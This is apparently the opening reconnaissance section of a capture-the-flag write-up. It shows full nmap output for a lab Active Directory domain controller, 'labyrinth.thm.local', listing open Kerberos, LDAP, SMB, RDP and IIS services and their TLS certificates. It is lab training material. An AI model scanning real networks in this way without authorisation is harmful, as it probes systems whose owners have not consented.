recon#

nmap 结果如下:

1
PORT      STATE  SERVICE       REASON          VERSION
2
53/tcp    open   domain        syn-ack ttl 128 Simple DNS Plus
3
80/tcp    open   http          syn-ack ttl 128 Microsoft IIS httpd 10.0
4
|_http-server-header: Microsoft-IIS/10.0
5
| http-methods:
6
|   Supported Methods: OPTIONS TRACE GET HEAD POST
7
|_  Potentially risky methods: TRACE
8
|_http-title: IIS Windows Server
9
88/tcp    open   kerberos-sec  syn-ack ttl 128 Microsoft Windows Kerberos (server time: 2026-09-08 11:08:35Z)
10
135/tcp   open   msrpc         syn-ack ttl 128 Microsoft Windows RPC
11
139/tcp   open   netbios-ssn   syn-ack ttl 128 Microsoft Windows netbios-ssn
12
389/tcp   open   ldap          syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name)
13
| ssl-cert: Subject: commonName=labyrinth.thm.local
14
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:labyrinth.thm.local
15
| Issuer: commonName=thm-LABYRINTH-CA/domainComponent=thm
16
| Public Key type: rsa
17
| Public Key bits: 2048
18
| Signature Algorithm: sha256WithRSAEncryption
19
| Not valid before: 2026-09-08T10:52:06
20
| Not valid after:  2027-09-08T10:52:06
21
| MD5:   3035:9142:71c4:e9d2:6db3:eef7:bcd4:f618
22
| SHA-1: 220b:3525:6ad7:13d8:ee08:c91f:0ba9:cacf:dbd5:5792
23
| -----BEGIN CERTIFICATE-----
24
| MIIGNjCCBR6gAwIBAgITSwAAABd5l36UBxyEsgAAAAAAFzANBgkqhkiG9w0BAQsF
25
| ADBHMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxEzARBgoJkiaJk/IsZAEZFgN0aG0x
26
| GTAXBgNVBAMTEHRobS1MQUJZUklOVEgtQ0EwHhcNMjYwOTA4MTA1MjA2WhcNMjcw
27
| OTA4MTA1MjA2WjAeMRwwGgYDVQQDExNsYWJ5cmludGgudGhtLmxvY2FsMIIBIjAN
28
| BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuIpRgB6hsAQ3SJ2X28QiAe7dyvX+
29
| cufKmoJk2s3U1oXICPFlU2ah3x3mcSUQx9J3n9TUbXWUKpHpMK7hvQiJ1Nzk0ScT
30
| kVsdzVku0SaUcRxXC9Led6qUdkkW0WCCPf48ANbmxpHBh8me0kEwgR/c26VgTUei
31
| ZMpco/fWWKYOPKVaoiTkKwH2cCkgl3euqa824T6ZBHMlPvgZMAUsamxMgP5xZja9
32
| YF/DJjALGv6T6RjbNO3iu4huMIaiIUWiolozGO8ZpT6xaevpTGaLRXHBktlcyG3y
33
| lyYF2DKV4/9TYayHPjwlupNxJ8aMMVvtsntGsPIMkSlwvYIusbcYkBJj3QIDAQAB
34
| o4IDQjCCAz4wLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIA
35
| bwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8B
36
| Af8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZI
37
| hvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAEC
38
| MAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQUtuOV
39
| PgGlHEviwyQff0+/Jy2x2gYwHwYDVR0jBBgwFoAUCXC348VycpOwcQwjQqSW/b4C
40
| HRMwgc4GA1UdHwSBxjCBwzCBwKCBvaCBuoaBt2xkYXA6Ly8vQ049dGhtLUxBQllS
41
| SU5USC1DQSxDTj1sYWJ5cmludGgsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNl
42
| cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9dGhtLERDPWxv
43
| Y2FsP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1j
44
| UkxEaXN0cmlidXRpb25Qb2ludDCBwAYIKwYBBQUHAQEEgbMwgbAwga0GCCsGAQUF
45
| BzAChoGgbGRhcDovLy9DTj10aG0tTEFCWVJJTlRILUNBLENOPUFJQSxDTj1QdWJs
46
| aWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9u
47
| LERDPXRobSxEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9
48
| Y2VydGlmaWNhdGlvbkF1dGhvcml0eTA/BgNVHREEODA2oB8GCSsGAQQBgjcZAaAS
49
| BBD12WVTnqWuQJRIswNyBhF8ghNsYWJ5cmludGgudGhtLmxvY2FsME0GCSsGAQQB
50
| gjcZAgRAMD6gPAYKKwYBBAGCNxkCAaAuBCxTLTEtNS0yMS0xOTY2NTMwNjAxLTMx
51
| ODU1MTA3MTItMTA2MDQ2MjQtMTAwODANBgkqhkiG9w0BAQsFAAOCAQEAhVwZj0p5
52
| eeSwPbUfFREsn3kjt3lOv7DYG+0hWT3SSJ3LUaoikS23ed+KVlgyPdM5POIkEB8V
53
| 5lNkuTenieenepIF105ci/YfQCEvKaorhsjmKyov8QD0stMjBocBvNq8rGwnLra9
54
| WCdX1wLcBQx6MTaknH4w5org4eHcX6Imlk67bXaBNAsr/QrH7LWpWeT0+pB8IVH2
55
| oWuBwgjAIVY43RXuYWj7JT2Gzt4xfpkHoy+7BGmzQqQXeD34akdo2S5DxEaaaMCc
56
| iEGaH2itv0A79ARYUUPdixYhB1llJ+N8WyKbyGvEVDZrJ2Hbx0qjz+cSFXry6UvY
57
| BQTC3I4XFfVSGA==
58
|_-----END CERTIFICATE-----
59
|_ssl-date: 2026-09-08T11:09:31+00:00; -1s from scanner time.
60
443/tcp   open   ssl/http      syn-ack ttl 128 Microsoft IIS httpd 10.0
61
|_ssl-date: 2026-09-08T11:09:31+00:00; -1s from scanner time.
62
| ssl-cert: Subject: commonName=thm-LABYRINTH-CA/domainComponent=thm
63
| Issuer: commonName=thm-LABYRINTH-CA/domainComponent=thm
64
| Public Key type: rsa
65
| Public Key bits: 2048
66
| Signature Algorithm: sha256WithRSAEncryption
67
| Not valid before: 2023-05-12T07:26:00
68
| Not valid after:  2028-05-12T07:35:59
69
| MD5:   c249:3bc6:fd31:f2aa:83cb:2774:bc66:9151
70
| SHA-1: 397a:54df:c1ff:f9fd:57e4:a944:00e8:cfdb:6e3a:972b
71
| -----BEGIN CERTIFICATE-----
72
| MIIDaTCCAlGgAwIBAgIQUiXALddQ7bNA6YS8dfCQKTANBgkqhkiG9w0BAQsFADBH
73
| MRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxEzARBgoJkiaJk/IsZAEZFgN0aG0xGTAX
74
| BgNVBAMTEHRobS1MQUJZUklOVEgtQ0EwHhcNMjMwNTEyMDcyNjAwWhcNMjgwNTEy
75
| MDczNTU5WjBHMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxEzARBgoJkiaJk/IsZAEZ
76
| FgN0aG0xGTAXBgNVBAMTEHRobS1MQUJZUklOVEgtQ0EwggEiMA0GCSqGSIb3DQEB
77
| AQUAA4IBDwAwggEKAoIBAQC/NNh6IN5jNgejLjqq9/RVDR42kxE0UZvnW6cB1LNb
78
| 0c4GyNmA1h+oLDpz1DonC3Yhp9XPQJIj4ejN1ErCQFMAxW4Xcd/Gt/LSCjdBHgmR
79
| R8wItUOpOoXkQtVRUE4I7vlWzxBuCVo644NaNzbfqVj7M1/nCBjn/PPd2fX3etSX
80
| EsaI6bYcdmKRimC/94UP8qTs6Z+KGasXUmb7Sj8vscncY8lFLe9qREuiRrom5Q8A
81
| NySO4t8mtmqIHrBb8zTTZ9N/HxEOPDafCSTOjRhDVsOXVuWllTJujjSu+jJlBiF/
82
| aiXM7mOmsxH1rqCUK9mhZFSf/OhvgsvAq66sTBs1huE1AgMBAAGjUTBPMAsGA1Ud
83
| DwQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJcLfjxXJyk7BxDCNC
84
| pJb9vgIdEzAQBgkrBgEEAYI3FQEEAwIBADANBgkqhkiG9w0BAQsFAAOCAQEAmnUK
85
| Wj9AoBc2fuoVml4Orlg+ce7x+1IBTpqeKaobBx/ez+i5mV2U45MgPHPwjHzf15bn
86
| 0BnYpJUhlEljx7+voM+pfP/9Q21v5iXjgIcH9FLau2nqhcQOnttNj8I4aoDr5rRG
87
| fJJv+hAuNXxr/Fy5M7oghCpNqxseEU9OcgIPRHp6X/8bTtEYWaHnD3GS6uUR2jai
88
| PhReAcCPTbRwMRA3KsGRaBF3+PsIOL0JtCR+QGfOugPhUJFOU7w0dwbFmzfRcgKw
89
| bJhEy3o0FL5aqKVC823QJE7LosyLdtAqtZY7OgtT0Do7RZzdsZ1If0JmYmHTSRVz
90
| 8CvPpcCDp68aiTtqgA==
91
|_-----END CERTIFICATE-----
92
| tls-alpn:
93
|_  http/1.1
94
|_http-server-header: Microsoft-IIS/10.0
95
|_http-title: IIS Windows Server
96
| http-methods:
97
|   Supported Methods: OPTIONS TRACE GET HEAD POST
98
|_  Potentially risky methods: TRACE
99
445/tcp   open   microsoft-ds? syn-ack ttl 128
100
464/tcp   open   kpasswd5?     syn-ack ttl 128
101
593/tcp   open   ncacn_http    syn-ack ttl 128 Microsoft Windows RPC over HTTP 1.0
102
636/tcp   open   ssl/ldap      syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name)
103
|_ssl-date: 2026-09-08T11:09:31+00:00; -1s from scanner time.
104
| ssl-cert: Subject: commonName=labyrinth.thm.local
105
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:labyrinth.thm.local
106
| Issuer: commonName=thm-LABYRINTH-CA/domainComponent=thm
107
| Public Key type: rsa
108
| Public Key bits: 2048
109
| Signature Algorithm: sha256WithRSAEncryption
110
| Not valid before: 2026-09-08T10:52:06
111
| Not valid after:  2027-09-08T10:52:06
112
| MD5:   3035:9142:71c4:e9d2:6db3:eef7:bcd4:f618
113
| SHA-1: 220b:3525:6ad7:13d8:ee08:c91f:0ba9:cacf:dbd5:5792
114
| -----BEGIN CERTIFICATE-----
115
| MIIGNjCCBR6gAwIBAgITSwAAABd5l36UBxyEsgAAAAAAFzANBgkqhkiG9w0BAQsF
116
| ADBHMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxEzARBgoJkiaJk/IsZAEZFgN0aG0x
117
| GTAXBgNVBAMTEHRobS1MQUJZUklOVEgtQ0EwHhcNMjYwOTA4MTA1MjA2WhcNMjcw
118
| OTA4MTA1MjA2WjAeMRwwGgYDVQQDExNsYWJ5cmludGgudGhtLmxvY2FsMIIBIjAN
119
| BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuIpRgB6hsAQ3SJ2X28QiAe7dyvX+
120
| cufKmoJk2s3U1oXICPFlU2ah3x3mcSUQx9J3n9TUbXWUKpHpMK7hvQiJ1Nzk0ScT
121
| kVsdzVku0SaUcRxXC9Led6qUdkkW0WCCPf48ANbmxpHBh8me0kEwgR/c26VgTUei
122
| ZMpco/fWWKYOPKVaoiTkKwH2cCkgl3euqa824T6ZBHMlPvgZMAUsamxMgP5xZja9
123
| YF/DJjALGv6T6RjbNO3iu4huMIaiIUWiolozGO8ZpT6xaevpTGaLRXHBktlcyG3y
124
| lyYF2DKV4/9TYayHPjwlupNxJ8aMMVvtsntGsPIMkSlwvYIusbcYkBJj3QIDAQAB
125
| o4IDQjCCAz4wLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIA
126
| bwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8B
127
| Af8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZI
128
| hvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAEC
129
| MAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQUtuOV
130
| PgGlHEviwyQff0+/Jy2x2gYwHwYDVR0jBBgwFoAUCXC348VycpOwcQwjQqSW/b4C
131
| HRMwgc4GA1UdHwSBxjCBwzCBwKCBvaCBuoaBt2xkYXA6Ly8vQ049dGhtLUxBQllS
132
| SU5USC1DQSxDTj1sYWJ5cmludGgsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNl
133
| cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9dGhtLERDPWxv
134
| Y2FsP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1j
135
| UkxEaXN0cmlidXRpb25Qb2ludDCBwAYIKwYBBQUHAQEEgbMwgbAwga0GCCsGAQUF
136
| BzAChoGgbGRhcDovLy9DTj10aG0tTEFCWVJJTlRILUNBLENOPUFJQSxDTj1QdWJs
137
| aWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9u
138
| LERDPXRobSxEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9
139
| Y2VydGlmaWNhdGlvbkF1dGhvcml0eTA/BgNVHREEODA2oB8GCSsGAQQBgjcZAaAS
140
| BBD12WVTnqWuQJRIswNyBhF8ghNsYWJ5cmludGgudGhtLmxvY2FsME0GCSsGAQQB
141
| gjcZAgRAMD6gPAYKKwYBBAGCNxkCAaAuBCxTLTEtNS0yMS0xOTY2NTMwNjAxLTMx
142
| ODU1MTA3MTItMTA2MDQ2MjQtMTAwODANBgkqhkiG9w0BAQsFAAOCAQEAhVwZj0p5
143
| eeSwPbUfFREsn3kjt3lOv7DYG+0hWT3SSJ3LUaoikS23ed+KVlgyPdM5POIkEB8V
144
| 5lNkuTenieenepIF105ci/YfQCEvKaorhsjmKyov8QD0stMjBocBvNq8rGwnLra9
145
| WCdX1wLcBQx6MTaknH4w5org4eHcX6Imlk67bXaBNAsr/QrH7LWpWeT0+pB8IVH2
146
| oWuBwgjAIVY43RXuYWj7JT2Gzt4xfpkHoy+7BGmzQqQXeD34akdo2S5DxEaaaMCc
147
| iEGaH2itv0A79ARYUUPdixYhB1llJ+N8WyKbyGvEVDZrJ2Hbx0qjz+cSFXry6UvY
148
| BQTC3I4XFfVSGA==
149
|_-----END CERTIFICATE-----
150
3268/tcp  open   ldap          syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name)
151
|_ssl-date: 2026-09-08T11:09:31+00:00; -1s from scanner time.
152
| ssl-cert: Subject: commonName=labyrinth.thm.local
153
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:labyrinth.thm.local
154
| Issuer: commonName=thm-LABYRINTH-CA/domainComponent=thm
155
| Public Key type: rsa
156
| Public Key bits: 2048
157
| Signature Algorithm: sha256WithRSAEncryption
158
| Not valid before: 2026-09-08T10:52:06
159
| Not valid after:  2027-09-08T10:52:06
160
| MD5:   3035:9142:71c4:e9d2:6db3:eef7:bcd4:f618
161
| SHA-1: 220b:3525:6ad7:13d8:ee08:c91f:0ba9:cacf:dbd5:5792
162
| -----BEGIN CERTIFICATE-----
163
| MIIGNjCCBR6gAwIBAgITSwAAABd5l36UBxyEsgAAAAAAFzANBgkqhkiG9w0BAQsF
164
| ADBHMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxEzARBgoJkiaJk/IsZAEZFgN0aG0x
165
| GTAXBgNVBAMTEHRobS1MQUJZUklOVEgtQ0EwHhcNMjYwOTA4MTA1MjA2WhcNMjcw
166
| OTA4MTA1MjA2WjAeMRwwGgYDVQQDExNsYWJ5cmludGgudGhtLmxvY2FsMIIBIjAN
167
| BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuIpRgB6hsAQ3SJ2X28QiAe7dyvX+
168
| cufKmoJk2s3U1oXICPFlU2ah3x3mcSUQx9J3n9TUbXWUKpHpMK7hvQiJ1Nzk0ScT
169
| kVsdzVku0SaUcRxXC9Led6qUdkkW0WCCPf48ANbmxpHBh8me0kEwgR/c26VgTUei
170
| ZMpco/fWWKYOPKVaoiTkKwH2cCkgl3euqa824T6ZBHMlPvgZMAUsamxMgP5xZja9
171
| YF/DJjALGv6T6RjbNO3iu4huMIaiIUWiolozGO8ZpT6xaevpTGaLRXHBktlcyG3y
172
| lyYF2DKV4/9TYayHPjwlupNxJ8aMMVvtsntGsPIMkSlwvYIusbcYkBJj3QIDAQAB
173
| o4IDQjCCAz4wLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIA
174
| bwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8B
175
| Af8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZI
176
| hvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAEC
177
| MAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQUtuOV
178
| PgGlHEviwyQff0+/Jy2x2gYwHwYDVR0jBBgwFoAUCXC348VycpOwcQwjQqSW/b4C
179
| HRMwgc4GA1UdHwSBxjCBwzCBwKCBvaCBuoaBt2xkYXA6Ly8vQ049dGhtLUxBQllS
180
| SU5USC1DQSxDTj1sYWJ5cmludGgsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNl
181
| cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9dGhtLERDPWxv
182
| Y2FsP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1j
183
| UkxEaXN0cmlidXRpb25Qb2ludDCBwAYIKwYBBQUHAQEEgbMwgbAwga0GCCsGAQUF
184
| BzAChoGgbGRhcDovLy9DTj10aG0tTEFCWVJJTlRILUNBLENOPUFJQSxDTj1QdWJs
185
| aWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9u
186
| LERDPXRobSxEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9
187
| Y2VydGlmaWNhdGlvbkF1dGhvcml0eTA/BgNVHREEODA2oB8GCSsGAQQBgjcZAaAS
188
| BBD12WVTnqWuQJRIswNyBhF8ghNsYWJ5cmludGgudGhtLmxvY2FsME0GCSsGAQQB
189
| gjcZAgRAMD6gPAYKKwYBBAGCNxkCAaAuBCxTLTEtNS0yMS0xOTY2NTMwNjAxLTMx
190
| ODU1MTA3MTItMTA2MDQ2MjQtMTAwODANBgkqhkiG9w0BAQsFAAOCAQEAhVwZj0p5
191
| eeSwPbUfFREsn3kjt3lOv7DYG+0hWT3SSJ3LUaoikS23ed+KVlgyPdM5POIkEB8V
192
| 5lNkuTenieenepIF105ci/YfQCEvKaorhsjmKyov8QD0stMjBocBvNq8rGwnLra9
193
| WCdX1wLcBQx6MTaknH4w5org4eHcX6Imlk67bXaBNAsr/QrH7LWpWeT0+pB8IVH2
194
| oWuBwgjAIVY43RXuYWj7JT2Gzt4xfpkHoy+7BGmzQqQXeD34akdo2S5DxEaaaMCc
195
| iEGaH2itv0A79ARYUUPdixYhB1llJ+N8WyKbyGvEVDZrJ2Hbx0qjz+cSFXry6UvY
196
| BQTC3I4XFfVSGA==
197
|_-----END CERTIFICATE-----
198
3269/tcp  open   ssl/ldap      syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name)
199
|_ssl-date: 2026-09-08T11:09:31+00:00; -1s from scanner time.
200
| ssl-cert: Subject: commonName=labyrinth.thm.local
201
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:labyrinth.thm.local
202
| Issuer: commonName=thm-LABYRINTH-CA/domainComponent=thm
203
| Public Key type: rsa
204
| Public Key bits: 2048
205
| Signature Algorithm: sha256WithRSAEncryption
206
| Not valid before: 2026-09-08T10:52:06
207
| Not valid after:  2027-09-08T10:52:06
208
| MD5:   3035:9142:71c4:e9d2:6db3:eef7:bcd4:f618
209
| SHA-1: 220b:3525:6ad7:13d8:ee08:c91f:0ba9:cacf:dbd5:5792
210
| -----BEGIN CERTIFICATE-----
211
| MIIGNjCCBR6gAwIBAgITSwAAABd5l36UBxyEsgAAAAAAFzANBgkqhkiG9w0BAQsF
212
| ADBHMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxEzARBgoJkiaJk/IsZAEZFgN0aG0x
213
| GTAXBgNVBAMTEHRobS1MQUJZUklOVEgtQ0EwHhcNMjYwOTA4MTA1MjA2WhcNMjcw
214
| OTA4MTA1MjA2WjAeMRwwGgYDVQQDExNsYWJ5cmludGgudGhtLmxvY2FsMIIBIjAN
215
| BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuIpRgB6hsAQ3SJ2X28QiAe7dyvX+
216
| cufKmoJk2s3U1oXICPFlU2ah3x3mcSUQx9J3n9TUbXWUKpHpMK7hvQiJ1Nzk0ScT
217
| kVsdzVku0SaUcRxXC9Led6qUdkkW0WCCPf48ANbmxpHBh8me0kEwgR/c26VgTUei
218
| ZMpco/fWWKYOPKVaoiTkKwH2cCkgl3euqa824T6ZBHMlPvgZMAUsamxMgP5xZja9
219
| YF/DJjALGv6T6RjbNO3iu4huMIaiIUWiolozGO8ZpT6xaevpTGaLRXHBktlcyG3y
220
| lyYF2DKV4/9TYayHPjwlupNxJ8aMMVvtsntGsPIMkSlwvYIusbcYkBJj3QIDAQAB
221
| o4IDQjCCAz4wLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIA
222
| bwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8B
223
| Af8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZI
224
| hvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAEC
225
| MAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQUtuOV
226
| PgGlHEviwyQff0+/Jy2x2gYwHwYDVR0jBBgwFoAUCXC348VycpOwcQwjQqSW/b4C
227
| HRMwgc4GA1UdHwSBxjCBwzCBwKCBvaCBuoaBt2xkYXA6Ly8vQ049dGhtLUxBQllS
228
| SU5USC1DQSxDTj1sYWJ5cmludGgsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNl
229
| cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9dGhtLERDPWxv
230
| Y2FsP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1j
231
| UkxEaXN0cmlidXRpb25Qb2ludDCBwAYIKwYBBQUHAQEEgbMwgbAwga0GCCsGAQUF
232
| BzAChoGgbGRhcDovLy9DTj10aG0tTEFCWVJJTlRILUNBLENOPUFJQSxDTj1QdWJs
233
| aWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9u
234
| LERDPXRobSxEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9
235
| Y2VydGlmaWNhdGlvbkF1dGhvcml0eTA/BgNVHREEODA2oB8GCSsGAQQBgjcZAaAS
236
| BBD12WVTnqWuQJRIswNyBhF8ghNsYWJ5cmludGgudGhtLmxvY2FsME0GCSsGAQQB
237
| gjcZAgRAMD6gPAYKKwYBBAGCNxkCAaAuBCxTLTEtNS0yMS0xOTY2NTMwNjAxLTMx
238
| ODU1MTA3MTItMTA2MDQ2MjQtMTAwODANBgkqhkiG9w0BAQsFAAOCAQEAhVwZj0p5
239
| eeSwPbUfFREsn3kjt3lOv7DYG+0hWT3SSJ3LUaoikS23ed+KVlgyPdM5POIkEB8V
240
| 5lNkuTenieenepIF105ci/YfQCEvKaorhsjmKyov8QD0stMjBocBvNq8rGwnLra9
241
| WCdX1wLcBQx6MTaknH4w5org4eHcX6Imlk67bXaBNAsr/QrH7LWpWeT0+pB8IVH2
242
| oWuBwgjAIVY43RXuYWj7JT2Gzt4xfpkHoy+7BGmzQqQXeD34akdo2S5DxEaaaMCc
243
| iEGaH2itv0A79ARYUUPdixYhB1llJ+N8WyKbyGvEVDZrJ2Hbx0qjz+cSFXry6UvY
244
| BQTC3I4XFfVSGA==
245
|_-----END CERTIFICATE-----
246
3389/tcp  open   ms-wbt-server syn-ack ttl 128 Microsoft Terminal Services
247
| ssl-cert: Subject: commonName=labyrinth.thm.local
248
| Issuer: commonName=labyrinth.thm.local
249
| Public Key type: rsa
250
| Public Key bits: 2048
251
| Signature Algorithm: sha256WithRSAEncryption
252
| Not valid before: 2026-09-07T11:00:55
253
| Not valid after:  2027-03-09T11:00:55
254
| MD5:   406f:254a:0632:8cff:e45e:8456:f915:b968
255
| SHA-1: 36f9:2b8e:4a0c:7112:13c8:95ac:e688:1b02:c597:b154
256
| -----BEGIN CERTIFICATE-----
257
| MIIC6jCCAdKgAwIBAgIQGztWNDRgaL9BztdEiAUaSDANBgkqhkiG9w0BAQsFADAe
258
| MRwwGgYDVQQDExNsYWJ5cmludGgudGhtLmxvY2FsMB4XDTI2MDkwNzExMDA1NVoX
259
| DTI3MDMwOTExMDA1NVowHjEcMBoGA1UEAxMTbGFieXJpbnRoLnRobS5sb2NhbDCC
260
| ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMWdAYWVbD5nW0R51g6NbvGz
261
| aKSdeAPzRXjYtxiZZv7c6E0clP5ZKKW0TGfDOxK31NpZp+TXzaXIJzu0JEY5uMm5
262
| 41XDVzMeE5IXmI5X/hSvzWqKhSRtZ2O2SBlVSXGQoS+LbImUwVh5diEYS+BVRsKr
263
| 1lFDikGjjcq/wO8DoLmEz4Jh3OZTLBEfoI1dzdpQSwlis1uIiHVOf8bUw4HdiocG
264
| G1Na7PFqe2Fsv8vonFP6fYdPanc3aJ4DJ2xl3QERVGCJ0oy7TsIvNLpxUA/OZE9z
265
| K3td+OlidKIjENiRgGhQmBP43PbIlphJdYtJjPHT0wD9sErzchUwuNHtMI6SB50C
266
| AwEAAaMkMCIwEwYDVR0lBAwwCgYIKwYBBQUHAwEwCwYDVR0PBAQDAgQwMA0GCSqG
267
| SIb3DQEBCwUAA4IBAQBPUjKZMKVtG4o+9F4CK13pk4uz5YS5NwnwRY5VYs6oNp1+
268
| T5X44KatEgfmW46ZddNh0JpyrUS8odCQTi8TDD2y65WrmiH/+aYAUXZVqY9z2iau
269
| cGCfKggez7gcvaDDvDLpE42nevCeFBGE6FX+vvYYIQSKvHpovrA4/YYm40ra8bmI
270
| SJFVnYipveips+lg6yKXIkcbiZ4BR8aSRDvpFGQntMhoBdWRTQJj2kLLmUvChcsZ
271
| 67E+551f/mn+L6m0+V7Ibxtbgtn+2tMhLkIYUhv+ZKYoAKIUnqNZQK5TuXDHFAe2
272
| rsLETnehzi/9/n64wkXQB2pJkXlYcEgBKRz4kF41
273
|_-----END CERTIFICATE-----
274
|_ssl-date: 2026-09-08T11:09:31+00:00; -1s from scanner time.
275
7680/tcp  closed pando-pub     reset ttl 128
276
9389/tcp  open   mc-nmf        syn-ack ttl 128 .NET Message Framing
277
47001/tcp open   http          syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
278
|_http-server-header: Microsoft-HTTPAPI/2.0
279
|_http-title: Not Found
280
49664/tcp open   msrpc         syn-ack ttl 128 Microsoft Windows RPC
281
49665/tcp open   msrpc         syn-ack ttl 128 Microsoft Windows RPC
282
49666/tcp open   msrpc         syn-ack ttl 128 Microsoft Windows RPC
283
49668/tcp open   msrpc         syn-ack ttl 128 Microsoft Windows RPC
284
49669/tcp open   ncacn_http    syn-ack ttl 128 Microsoft Windows RPC over HTTP 1.0
285
49670/tcp open   msrpc         syn-ack ttl 128 Microsoft Windows RPC
286
49671/tcp open   msrpc         syn-ack ttl 128 Microsoft Windows RPC
287
49675/tcp open   msrpc         syn-ack ttl 128 Microsoft Windows RPC
288
49676/tcp open   msrpc         syn-ack ttl 128 Microsoft Windows RPC
289
49679/tcp open   msrpc         syn-ack ttl 128 Microsoft Windows RPC
290
49711/tcp open   msrpc         syn-ack ttl 128 Microsoft Windows RPC
291
49716/tcp open   msrpc         syn-ack ttl 128 Microsoft Windows RPC
292
49719/tcp open   msrpc         syn-ack ttl 128 Microsoft Windows RPC
293
Service Info: Host: LABYRINTH; OS: Windows; CPE: cpe:/o:microsoft:windows
294

295
Host script results:
296
| p2p-conficker:
297
|   Checking for Conficker.C or higher...
298
|   Check 1 (port 33713/tcp): CLEAN (Couldn't connect)
299
|   Check 2 (port 53510/tcp): CLEAN (Couldn't connect)
300
|   Check 3 (port 54065/udp): CLEAN (Timeout)
301
|   Check 4 (port 16793/udp): CLEAN (Failed to receive data)
302
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
303
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
